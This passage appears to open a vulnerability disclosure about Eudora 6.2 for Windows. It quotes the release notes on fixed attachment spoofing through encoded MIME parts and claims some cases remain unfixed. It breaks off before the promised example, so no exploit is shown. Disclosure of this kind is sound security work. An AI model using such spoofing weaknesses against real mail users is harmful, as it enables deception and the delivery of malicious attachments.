Eudora 6.2 (==6.2.0.14) for Windows was released on 8 Nov 04. The release notes http://www.eudora.com/download/eudora/windows/6.2/RelNotes.txt say: > SECURITY > -------- > Fixed cases where attachments could be spoofed via base64 or quoted-printable > encoded (plain-text, inline) MIME parts. Some cases remain un-fixed, as Eudora developers know and admit privately. One such example below.
